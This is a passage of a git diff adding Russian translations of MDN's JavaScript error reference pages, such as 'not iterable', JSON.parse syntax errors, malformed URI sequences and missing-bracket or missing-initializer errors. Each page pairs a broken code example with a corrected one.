+<p>Значение, которое дается как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом.  Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Итерация_по_свойствам_объекта">Итерация по свойствам объекта</h3>
+
+<p>В JavaScript, {{jsxref("object")}} не повторяется, если они реализуют итерационный протокол . Поэтому нельзя использовать for...of для перебора свойств объекта.</p>
+
+<pre class="brush: js example-bad">var obj = { 'France': 'Paris', 'England': 'London' };
+for (let p of obj) { // TypeError: obj не является итерационным
+    // …
+}
+</pre>
+
+<p>Вместо этого вы должны использовать {{jsxref("Object.keys")}} или {{jsxref("Object.entries")}}, для итерации по свойствам или записям объекта.</p>
+
+<pre class="brush: js example-good">var obj = { 'France': 'Paris', 'England': 'London' };
+// Iterate over the property names:
+for (let country of Object.keys(obj)) {
+    var capital = obj[country];
+    console.log(country, capital);
+}
+
+for (const [country, capital] of Object.entries(obj))
+    console.log(country, capital);
+
+
+</pre>
+
+<p>Другим вариантом для этого варианта использования может быть использование  {{jsxref("Map")}}:</p>
+
+<pre class="brush: js example-good">var map = new Map;
+map.set('France', 'Paris');
+map.set('England', 'London');
+// Iterate over the property names:
+for (let country of map.keys()) {
+    let capital = map[country];
+    console.log(country, capital);
+}
+
+for (let capital of map.values())
+    console.log(capital);
+
+for (const [country, capital] of map.entries())
+    console.log(country, capital);
+</pre>
+
+<h3 id="Итерация_по_генератору">Итерация по генератору</h3>
+
+<p>Генераторы - это функции, вызываемые для создания итерационного объекта.</p>
+
+<pre class="brush: js example-bad">function* generate(a, b) {
+  yield a;
+  yield b;
+}
+
+for (let x of generate) // TypeError: генерация не является итерационной
+    console.log(x);
+</pre>
+
+<p>Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создает итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.</p>
+
+<pre class="brush: js example-good">function* generate(a, b) {
+    yield a;
+    yield b;
+}
+
+for (let x of generate(1,2))
+    console.log(x);
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">iterable protocol</a> </li>
+ <li>{{jsxref("Object.keys")}}</li>
+ <li>{{jsxref("Object.entries")}}</li>
+ <li>{{jsxref("Map")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">generators</a> </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for…of</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/json_bad_parse/index.html b/files/ru/web/javascript/reference/errors/json_bad_parse/index.html
new file mode 100644
index 0000000000..269f560bb3
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/json_bad_parse/index.html
@@ -0,0 +1,111 @@
+---
+title: 'SyntaxError: JSON.parse: bad parsing'
+slug: Web/JavaScript/Reference/Errors/JSON_bad_parse
+tags:
+  - Errors
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: JSON.parse: unterminated string literal
+SyntaxError: JSON.parse: bad control character in string literal
+SyntaxError: JSON.parse: bad character in string literal
+SyntaxError: JSON.parse: bad Unicode escape
+SyntaxError: JSON.parse: bad escape character
+SyntaxError: JSON.parse: unterminated string
+SyntaxError: JSON.parse: no number after minus sign
+SyntaxError: JSON.parse: unexpected non-digit
+SyntaxError: JSON.parse: missing digits after decimal point
+SyntaxError: JSON.parse: unterminated fractional number
+SyntaxError: JSON.parse: missing digits after exponent indicator
+SyntaxError: JSON.parse: missing digits after exponent sign
+SyntaxError: JSON.parse: exponent part is missing a number
+SyntaxError: JSON.parse: unexpected end of data
+SyntaxError: JSON.parse: unexpected keyword
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: end of data while reading object contents
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: end of data when ',' or ']' was expected
+SyntaxError: JSON.parse: expected ',' or ']' after array element
+SyntaxError: JSON.parse: end of data when property name was expected
+SyntaxError: JSON.parse: expected double-quoted property name
+SyntaxError: JSON.parse: end of data after property name when ':' was expected
+SyntaxError: JSON.parse: expected ':' after property name in object
+SyntaxError: JSON.parse: end of data after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property value in object
+SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal
+SyntaxError: JSON.parse: property names must be double-quoted strings
+SyntaxError: JSON.parse: expected property name or '}'
+SyntaxError: JSON.parse: unexpected character
+SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>{{jsxref("JSON.parse()")}} обрабатывает (парсит) строку в формате JSON. Это строка должна соответствовать формату, иначе будет выведена ошибка, что был нарушен синтаксис.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="JSON.parse()_не_допускает_запятые"><code>JSON.parse()</code> не допускает запятые</h3>
+
+<p>Метод JSON.parse() не разрешает использование, так называемых, trailling запятых.</p>
+
+<p>Обе строки выдадут ошибку типа SyntaxError:</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4,]');
+JSON.parse('{"foo": 1,}');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>Необходимо убрать последние запятые в строках и тогда ошибки не будет:</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4]');
+JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="Названия_свойств_должны_быть_в_двойных_кавычках">Названия свойств должны быть в двойных кавычках</h3>
+
+<p>Вы не можете использовать одинарные кавычки в именах свойств. Например, 'foo'.</p>
+
+<pre class="brush: js example-bad">JSON.parse("{'foo': 1}");
+// SyntaxError: JSON.parse: expected property name or '}'
+// at line 1 column 2 of the JSON data</pre>
+
+<p>Вместо этого необходимо написать "foo":</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="Незначащие_нули_или_плавающая_точка_без_последующей_цифры">Незначащие нули или плавающая точка без последующей цифры</h3>
+
+<p>Вы не можете использовать незначащие нули, например, 01. Плавающая точка должна всегда сопровождаться хотя бы одной цифрой после неё.</p>
+
+<pre class="brush: js example-bad">JSON.parse('{"foo": 01}');
+// SyntaxError: JSON.parse: expected ',' or '}' after property value
+// in object at line 1 column 2 of the JSON data
+
+JSON.parse('{"foo": 1.}');
+// SyntaxError: JSON.parse: unterminated fractional number
+// at line 1 column 2 of the JSON data
+</pre>
+
+<p>Вместо этого напишите просто 1 без нуля и используйте хотя бы одну цифру после точки:</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');
+JSON.parse('{"foo": 1.0}');
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("JSON")}}</li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
new file mode 100644
index 0000000000..5e65f8c633
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
@@ -0,0 +1,61 @@
+---
+title: 'SyntaxError: Malformed formal parameter'
+slug: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: malformed formal parameter (Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Существует конструктор <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>, который принимает в коде как минимум два аргумента. Последний аргумент – это исходный код создаваемой функции, а все остальные представляют собой список её аргументов.</p>
+
+<p>Ошибка возникает, когда список аргументов по какой-то причине не является корректным. Возможно, вы случайно взяли в качестве имени аргумента ключевое слово, такое как <code>if</code> или <code>var</code>. Или в списке аргументов затерялся лишний знак пунктуации. Или вы случайно передали некорректное значение, например, число или объект.</p>
+
+<h2 id="OK_это_решило_мою_проблему._Но_почему_нельзя_было_сразу_так_и_сказать">OK, это решило мою проблему. Но почему нельзя было сразу так и сказать?</h2>
+
+<p>Нельзя не признать, что формулировка сообщения об ошибке немного странная. "Formal parameter" (формальный параметр) – это всего лишь необычный способ сказать "function argument" (аргумент функции). А слово "malformed" (уродливый, некорректный) мы используем потому, что все инженеры Firefox без ума от готических романов 19-го века.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Код_с_ошибками">Код с ошибками</h3>
+
+<pre class="brush: js example-bad">var f = Function('x y', 'return x + y;');
+// SyntaxError (пропуск запятой)
+
+var f = Function('x,', 'return x;');
+// SyntaxError (лишняя запятая)
+
+var f = Function(37, "alert('OK')");
+// SyntaxError (числа не могут использоваться в качестве имен аргументов)
+</pre>
+
+<h3 id="Правильный_код">Правильный код</h3>
+
+<pre class="brush: js example-good">var f = Function('x, y', 'return x + y;');  // правильная пунктуация
+
+var f = Function('x', 'return x;');
+
+// если есть возможность, не используйте Function - так гораздо быстрее:
+var f = function(x) { return x; };
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Functions">О функциях</a></li>
+ <li><a href="https://www.gutenberg.org/ebooks/84"><em>Франкенштейн</em> Мэри Уотлстонкрафт Шелли, полный текст (англ.)</a> ("[...] прокляты руки, создавшие тебя, пусть это были мои собственные! Ты причинил мне безмерное горе. Я уже не в силах решать, справедливо ли я с тобой поступаю. Поди прочь! Избавь меня от твоего ненавистного вида." (пер. З. Александровой))</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/malformed_uri/index.html b/files/ru/web/javascript/reference/errors/malformed_uri/index.html
new file mode 100644
index 0000000000..8f57f277f4
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/malformed_uri/index.html
@@ -0,0 +1,61 @@
+---
+title: 'URIError: malformed URI sequence'
+slug: Web/JavaScript/Reference/Errors/Malformed_URI
+translation_of: Web/JavaScript/Reference/Errors/Malformed_URI
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">URIError: malformed URI sequence (Firefox)
+URIError: URI malformed (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("URIError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Декодирование или кодирование URI не было успешным. Аргумент переданный функциям {{jsxref("decodeURI")}}, {{jsxref("encodeURI")}}, {{jsxref("encodeURIComponent")}},  или {{jsxref("decodeURIComponent")}} был недопустимым, из-за этого функция не смогла выполнить кодирование или декодирование.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Кодирование">Кодирование</h3>
+
+<p>Кодирование заменяет каждое вхождение конкретного символа одним, двумя, тремя или четырьмя управляющими последовательностями, представленными  стандартом UTF-8. {{jsxref("URIError")}} возникнет, при попытке кодирования суррогата, не являющегося частью high-low пары, например:</p>
+
+<pre class="brush: js example-bad">encodeURI('\uD800');
+// "URIError: malformed URI sequence"
+
+encodeURI('\uDFFF');
+// "URIError: malformed URI sequence"
+</pre>
+
+<p>Нормальная high-low пара. Например:</p>
+
+<pre class="brush: js example-good">encodeURI('\uD800\uDFFF');
+// "%F0%90%8F%BF"</pre>
+
+<h3 id="Декодирование">Декодирование</h3>
+
+<p>Декодирование заменяет каждую управляющую последовательность в закодированном URI компоненте символом, который она предстваляет. Если такого символа нет, возникнет ошибка:</p>
+
+<pre class="brush: js example-bad">decodeURIComponent('%E0%A4%A');
+// "URIError: malformed URI sequence"
+</pre>
+
+<p>Правильный вариант обычно выглядит так:</p>
+
+<pre class="brush: js example-good">decodeURIComponent('JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B');
+// "JavaScript_шеллы"</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("URIError")}}</li>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
new file mode 100644
index 0000000000..32035a2365
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
@@ -0,0 +1,56 @@
+---
+title: 'SyntaxError: missing ] after element list'
+slug: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ] after element list
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Ошибка в синтаксисе инициализации массива. Скорее всего, пропущена закрывающая квадратная скобка ("<code>]</code>") или запятая ("<code>,</code>").</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Незавершенный_инициализатор_массива">Незавершенный инициализатор массива</h3>
+
+<pre class="brush: js example-bad">var list = [1, 2,
+
+var instruments = [
+  'Укулеле',
+  'Гитара',
+  'Пианино'
+};
+
+var data = [{foo: 'bar'} {bar: 'foo'}];
+</pre>
+
+<p>Правильные варианты:</p>
+
+<pre class="brush: js example-good">var list = [1, 2];
+
+var instruments = [
+ 'Укулеле',
+ 'Гитара',
+ 'Пианино'
+];
+
+var data = [{foo: 'bar'}, {bar: 'foo'}];</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
new file mode 100644
index 0000000000..856d2fe526
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
@@ -0,0 +1,72 @@
+---
+title: 'SyntaxError: missing : after property id'
+slug: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing : after property id
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>При создании объекта с помощью <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">инициализатора объекта</a>, двоеточие (<code>:</code>) разделяет ключи и значения свойств объекта.</p>
+
+<pre class="brush: js">var obj = { propertyKey: 'value' };
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Двоеточие_vs._знака_равенства">Двоеточие vs. знака равенства</h3>
+
+<p>Этот код не работает, потому что знак равенства не может быть использован при инициализации объекта.</p>
+
+<pre class="brush: js example-bad">var obj = { propertyKey = 'value' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>Корректно будет использовать двоеточие или квадратные скобки для назначения нового свойства после того, как объект уже был создан.</p>
+
+<pre class="brush: js example-good">var obj = { propertyKey: 'value' };
+
+// or alternatively
+
+var obj = { };
+obj['propertyKey'] = 'value';
+</pre>
+
+<h3 id="Пустые_свойства">Пустые свойства</h3>
+
+<p>Вы не можете создать пустые свойства, подобные этому:</p>
+
+<pre class="brush: js example-bad">var obj = { propertyKey; };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>Если вам необходимо задать свойство без значения, то вы можете использовать {{jsxref("null")}}.</p>
+
+<pre class="brush: js example-good">var obj = { propertyKey: null };</pre>
+
+<h3 id="Вычисляемые_свойства">Вычисляемые свойства</h3>
+
+<p>Если вы создаете ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:</p>
+
+<pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>Поместите выражение в скобки <code>[]</code>:</p>
+
+<pre class="brush: js example-good">var obj = { ['b'+'ar']: 'foo' };</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализатор объекта</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
new file mode 100644
index 0000000000..0d971440c7
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
@@ -0,0 +1,66 @@
+---
+title: 'SyntaxError: missing } after function body'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing } after function body
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Допущена синтаксическая ошибка где-то в коде создания функции. Кроме того, проверьте, все ли закрывающие круглые и фигурные скобки расставлены в правильном порядке. Справиться с беспорядком поможет использование отступов, а также более аккуратное форматирование кода в целом.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Забытая_закрывающая_фигурная_скобка">Забытая закрывающая фигурная скобка</h3>
+
+<p>Часто в коде функции может быть забыта фигурная скобка:</p>
+
+<pre class="brush: js example-bad">var charge = function() {
+  if (sunny) {
+    useSolarCells();
+  } else {
+    promptBikeRide();
+};
+</pre>
+
+<p>Правильный код:</p>
+
+<pre class="brush: js example-good">var charge = function() {
+  if (sunny) {
+    useSolarCells();
+  } else {
+    promptBikeRide();
+  }
+};</pre>
+
+<p>Еще больше путаницы может внести использование {{Glossary("IIFE")}}, <a href="/ru/docs/Web/JavaScript/Closures">замыканий</a> и прочих конструкций, где используется большое количество различных скобок:</p>
+
+<pre class="brush: js example-bad">(function() { if (true) { return false; } );
+</pre>
+
+<p>Зачастую облегчить поиск ошибок можно, проверив отступы еще раз или расставив их по-другому.</p>
+
+<pre class="brush: js example-good">(function() {
+  if (true) {
+    return false;
+  }
+});</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Functions">Функции</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html
new file mode 100644
index 0000000000..6c86b1ef73
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_curly_after_property_list/index.html
@@ -0,0 +1,51 @@
+---
+title: 'SyntaxError: missing } after property list'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing } after property list
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p><span class="notranslate">Произошла ошибка в синтаксисе <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">инициализатора объекта</a>.</span> <span class="notranslate">Причиной может быть отсутствующая фигурная скобка или, к примеру, недостающая запятая.</span> <span class="notranslate"> Также проверьте, в правильном ли порядке расположены закрывающие круглые и фигурные скобки.</span> Добаление отсупов или <span class="notranslate">форматирование кода в более благоприятный вид также могут помочь разобраться в беспорядке.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 class="highlight-spanned" id="Забытая_запятая"><span class="highlight-span"><span class="notranslate">Забытая запятая</span></span></h3>
+
+<p><span class="notranslate">Зачастую в коде инициализатора объекта есть недостающая запятая:</span></p>
+
+<pre class="brush: js example-bad">var obj = {
+  a: 1,
+  b: { myProp: 2 }
+  c: 3
+};
+</pre>
+
+<p>Правильный вариант:</p>
+
+<pre class="brush: js example-good">var obj = {
+  a: 1,
+  b: { myProp: 2 },
+  c: 3
+};
+</pre>
+
+<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2>
+
+<ul>
+ <li><span class="notranslate"><a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">Инициализация объектов</a></span></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/missing_formal_parameter/index.html
new file mode 100644
index 0000000000..a47a45477a
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_formal_parameter/index.html
@@ -0,0 +1,75 @@
+---
+title: 'SyntaxError: missing formal parameter( отсутствует формальный параметр)'
+slug: Web/JavaScript/Reference/Errors/Missing_formal_parameter
+translation_of: Web/JavaScript/Reference/Errors/Missing_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщениe">Сообщениe</h2>
+
+<pre class="syntaxbox">SyntaxError: идентификатор начинается сразу после числового литерала
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>"Формальный параметр" - это причудливый способ сказать "параметр функции". В объявлении функции отсутствуют допустимые параметры. В объявлении функции параметры должны быть {{Glossary("Identifier", "identifiers")}}, не любое значение, как числа, строки или объекты. Объявление функций и вызов функций - это два отдельных шага. Объявления требуют идентификатор в качестве параметров, и только при вызове (призыва) функции, вы предоставляете значения, которые функция должна использовать.</p>
+
+<p>В {{glossary("JavaScript")}}, идентификаторы могут содержать только буквенно-цифровые символы (или "$" или "_") и не могут начинаться с цифры. Идентификатор отличается от строки тем, что строка является данными, а идентификатор - частью кода.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Параметры функции должны быть идентификаторами при настройке функции. Все эти объявления функций, которые обеспечивают значения их параметров:</p>
+
+<pre class="brush: js example-bad highlight:[1,6,11]">function square(3) {
+  return number * number;
+};
+// SyntaxError: отсутствует формальный параметр
+
+function greet("Howdy") {
+  return greeting;
+};
+// SyntaxError: отсутствует формальный параметр
+
+function log({ obj: "value"}) {
+  console.log(arg)
+};
+// SyntaxError: отсутствует формальный параметр
+</pre>
+
+<p>В объявлениях функций необходимо использовать идентификаторы:</p>
+
+<pre class="brush: js example-good highlight:[1,5,9]">function square(number) {
+  return number * number;
+};
+
+function greet(greeting) {
+  return greeting;
+};
+
+function log(arg) {
+  console.log(arg)
+};</pre>
+
+<p>Затем можно вызвать эти функции с аргументами, которые вам нравятся:</p>
+
+<pre class="brush: js">square(2); // 4
+
+greet("Howdy"); // "Howdy"
+
+log({obj: "value"}); // Object { obj: "value" }
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие ошибки, касающиеся формальных параметров:
+  <ul>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Malformed_formal_parameter">SyntaxError: Malformed formal parameter</a></li>
+   <li><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Redeclared_parameter">SyntaxError: redeclaration of formal parameter "x"</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_initializer_in_const/index.html b/files/ru/web/javascript/reference/errors/missing_initializer_in_const/index.html
new file mode 100644
index 0000000000..875084b4f5
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_initializer_in_const/index.html
@@ -0,0 +1,54 @@
+---
+title: 'SyntaxError: missing = in const declaration'
+slug: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing = in const declaration (Firefox)
+SyntaxError: Missing initializer in const declaration (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Константа это значение, которое не может быть изменено программой в процессе своего выполнения. Оно не может меняться посредством повторного назначения, и не может быть переопределено. В JavaScript константы объявляются с использованием ключевого слова <code>const</code>. Инициализация для константы является обязательной; то есть вы должны указать значение сразу же при её объявлении (что имеет смысл, учитывая, что оно не может быть изменено позже).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Отсутствие_инициализатора_константы">Отсутствие инициализатора константы</h3>
+
+<p>В отличие от <code>var</code> или <code>let</code>, вы должны указать значение при объявлении <code>const</code>. В противном случае возникнет ошибка:</p>
+
+<pre class="brush: js example-bad">const COLUMNS;
+// SyntaxError: missing = in const declaration</pre>
+
+<h3 id="Исправление_ошибки">Исправление ошибки</h3>
+
+<p>Существует несколько вариантов исправления этой ошибки. Проверьте, что должно быть достигнуто с помощью данной константы.</p>
+
+<h4 id="Добавление_значения_константы">Добавление значения константы</h4>
+
+<p>Укажите значение константы при её объявлении.</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;</pre>
+
+<h4 id="const_let_или_var"><code>const</code>, <code>let</code> или <code>var</code>?</h4>
+
+<p>Не используйте <code>const</code>, если вы не хотели объявить константу. Возможно, вы подразумевали объявление переменную с блочной областью видимости с помощью <code>let</code> или глобальную переменную с помощью <code>var</code>. Оба варианта не требуют начального значения.</p>
+
+<pre class="brush: js example-good">let columns;
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/missing_name_after_dot_operator/index.html b/files/ru/web/javascript/reference/errors/missing_name_after_dot_operator/index.html
new file mode 100644
index 0000000000..ef5179656c
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/missing_name_after_dot_operator/index.html
@@ -0,0 +1,63 @@
+---
+title: 'SyntaxError: missing name after . operator(отсутствует имя после. оператора)'
+slug: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+translation_of: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: missing name after . operator
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Оператор точки (.) используется для доступа к свойству. Необходимо указать имя свойства, к которому требуется получить доступ. Для доступа к вычисляемому свойству может потребоваться изменить доступ к свойству с точки на квадратные скобки. Это позволит вычислить выражение. Может быть, вы собирались сделать конкатенацию вместо этого? В этом случае необходим оператор plus ( + ). См. примеры ниже.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Доступ_к_свойствам">Доступ к свойствам</h3>
+
+<p>Методы доступа к свойствам в JavaScript используют точку (.) или квадратные скобки ([]), но не оба. Квадратные скобки обеспечивают доступ к вычисляемым свойствам.</p>
+
+<pre class="brush: js example-bad">var obj = { foo: { bar: "baz", bar2: "baz2" } };
+var i = 2;
+
+obj.[foo].[bar]
+// SyntaxError: отсутсвует имя после. оператора
+
+obj.foo."bar"+i;
+// SyntaxError: отсутсвует имя после. оператора
+</pre>
+
+<p>Чтобы исправить этот код, необходимо получить доступ к объекту следующим образом:</p>
+
+<pre class="brush: js example-good">obj.foo.bar; // "baz"
+//или же
+obj["foo"]["bar"]; // "baz"
+
